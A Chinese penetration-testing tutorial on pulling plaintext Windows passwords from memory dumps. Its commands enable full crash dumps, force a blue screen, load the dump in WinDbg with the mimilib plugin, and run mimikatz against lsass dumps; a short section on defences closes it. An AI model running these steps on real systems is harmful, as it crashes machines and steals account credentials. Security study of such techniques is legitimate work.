渗透技巧——使用 Mimilib 从 dump 文件中导出口令
0x00 前言
在上篇文章 《Mimilib 利用分析》 提到 mimilib 可作为 WinDbg 的插件进行使用,所以本文将会详细介绍这个插件的用法,实现从内核模式转储文件中导出口令,结合利用思路给出防御建议
0x01 简介
本文将要介绍以下内容:
- dump 文件的分类
- 两种 dump 文件的导出方法
- WinDbg 环境配置
- 利用思路
- 防御建议
0x02 dump 文件的分类
dump 文件分为以下两类:
1.User-Mode Dump File
即用户模式转储文件,分为以下两种:
- Full User-Mode Dumps
- Minidumps
简单理解:通常是针对单个进程
更多参考资料:https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/user-mode-dump-files
创建方法:
可以使用 Procdump 进行创建
从用户模式转储文件导出口令的方法:
可参考之前的文章 《渗透基础-从 lsass.exe 进程导出凭据》
2.Kernel-Mode Dump Files
即内核模式转储文件,分为以下五种:
- Complete Memory Dump
- Kernel Memory Dump
- Small Memory Dump
- Automatic Memory Dump
- Active Memory Dump
简单理解:包括所有进程的信息
创建方法:
启动创建转储文件的功能,在系统崩溃(BSOD) 时将自动创建
更多参考资料:https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/kernel-mode-dump-files
0x03 从内核模式转储文件导出口令的方法
流程如下:
1.开启转储文件的功能 2.强制系统蓝屏(BSOD),系统将会自动创建内核模式转储文件 3.使用 WinDbg 加载转储文件,调用 mimilib 导出明文口令
具体需要注意以下问题:
1.开启转储文件的功能
对应注册表位置: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl
,注册表项 CrashDumpEnabled
,类型为 REG_DWORD
数值对应的功能如下:
- 0 表示不启用
- 1 表示完全内存转储
- 2 表示核心内存转储
- 3 表示内存转储
查看这个注册表对应的 cmd 命令如下:
reg query hklm\SYSTEM\CurrentControlSet\Control\CrashControl /v CrashDumpEnabled
这里需要将键值设置为 1
,开启完全内存转储的功能,否则使用 WinDbg 访问进程 lsass.exe 的内存时会提示具有无效的页目录,如下图
修改这个注册表对应的 cmd 命令如下:
reg add hklm\SYSTEM\CurrentControlSet\Control\CrashControl /v CrashDumpEnabled /t REG_DWORD /d 1 /f
2.强制系统蓝屏(BSOD)
(1) 通过结束属性为 critical process 的进程导致 BSOD
默认为 critical process 的系统进程如下:
- csrss.exe
- lsass.exe
- services.exe
- smss.exe
- svchost.exe
- wininit.exe
这里也可以先将指定进程设置为 critical process,结束该进程后也会导致 BSOD
具体细节可参考之前的文章 《结束进程导致 BSOD 的利用分析》
(2) 使用 NotMyFault
下载地址:https://docs.microsoft.com/en-us/sysinternals/downloads/notmyfault
触发蓝屏(BSOD) 的命令如下:
notmyfault.exe -accepteula /crash
注:NotMyFault 还支持将当前系统挂起,命令如下:
notmyfault.exe -accepteula /hang
默认配置下,系统蓝屏(BSOD) 后将会自动重启并生成文件 c:\windows\MEMORY.DMP
3.使用 WinDbg 加载 MEMORY.DMP
注:WinDbg 可以在安装 SDK 后自动安装
参考资料:https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-tools
使用 WinDbg,选择打开 Crash Dump
,选择 MEMORY.DMP
获得 dump 文件详细信息的命令如下:
!analyze -v
报错提示: Kernel symbols are WRONG. Please fix symbols to do analysis.
如下图
这里需要修复符号文件,可以选择以下三种解决方法:
(1) using the _NT_SYMBOL_PATH environment variable.
添加环境变量:
set _NT_SYMBOL_PATH=srv*c:\mysymbol*https://msdl.microsoft.com/download/symbols
(2) using the -y argument when starting the debugger.
使用 WinDbg 以指定参数启动
windbg.exe -y SRV*c:\mysymbol*http://msdl.microsoft.com/download/symbols
(3)using .sympath and .sympath+
添加 Symbol File Path
WinDbg 的命令行操作:
.sympath SRV*c:\mysymbol*http://msdl.microsoft.com/download/symbols
也可以通过界面操作实现
File
-> Symbol File Path ...
填入 SRV*c:\mysymbol*http://msdl.microsoft.com/download/symbols
设置以后,需要的符号文件会自动从 Microsoft 公共符号服务器下载
重新加载:
.Reload
测试:
!process 0 0 lsass.exe
加载正常,如下图
如果这部分仍然失败,可尝试使用 VPN 连接互联网
如果测试环境无法连接互联网,可以通过 SymChk 获取清单文件的方式下载符号文件
参考资料:https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/using-a-manifest-file-with-symchk
在无法连接互联网的计算机 A 上执行:
SymChk /om c:\Manifest\man.txt /id c:\test\MEMORY.DMP
获得文件 c:\Manifest\man.txt
,将其复制到可连接互联网的计算机 B 上,在计算机 B 上执行如下命令:
SymChk /im c:\test\man.txt /s srv*c:\mysymbolNew*https://msdl.microsoft.com/download/symbols
将会生成新的文件夹 c:\mysymbolNew
,将其复制到计算机 A 上,在计算机 A 上启动 WinDbg 并指定新的符号文件位置为 c:\mysymbolNew
,命令如下:
.symfix c:\mysymbolNew
测试:
.Reload
!process 0 0 lsass.exe
加载正常,如下图
4.加载 mimilib 插件
可参考之前的文章 《Mimilib 利用分析》
(1) 方法 1
将 mimilib.dll 保存至 WinDbg 的 winext 目录
我的测试环境(Server2012R2x64) 保存的路径为: C:\Program Files\Debugging Tools for Windows (x64)\winext
启动 WinDbg
加载插件的命令如下:
.load mimilib
(2) 方法 2
直接加载 mimilib 的绝对路径,实例如下:
.load c:\test\mimilib
综上,搭建配置环境导出口令的完整命令如下:
.sympath SRV*c:\mysymbol*http://msdl.microsoft.com/download/symbols
.reload
!process 0 0 lsass.exe
.process 890f4530
.load c:\test\mimilib
.reload
!mimikatz
完整流程如下图
将输出结果保存到文件中可使用以下命令:
.logopen c:\test\log.txt
!mimikatz
.logclose
0x04 利用思路
1.从用户模式转储文件导出口令
通过 API MiniDumpWriteDump()
获得进程 lsass.exe 的 dump 文件
使用 mimikatz 从 dump 文件中导出口令,命令如下:
mimikatz.exe log "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
2.从内核模式转储文件导出口令
开启转储文件的功能
强制系统蓝屏(BSOD)
使用 WinDbg 加载转储文件,调用 mimilib 导出明文口令
0x05 防御建议
1.从用户模式转储文件导出口令
拦截 API MiniDumpWriteDump()
的行为,部分安全产品已经支持这个功能
2.从内核模式转储文件导出口令
开启转储加密功能
参考资料:https://docs.microsoft.com/en-us/windows-server/virtualization/hyper-v/manage/about-dump-encryption
注:如果攻击者获得了系统的管理员权限,能够关闭转储加密的功能
0x06 小结
本文分别介绍了从用户模式转储文件和内核模式转储文件导出口令的方法,结合利用思路给出防御建议。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
上一篇: 域渗透——DNS 记录与 MachineAccount
下一篇: Jvm 常量池
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论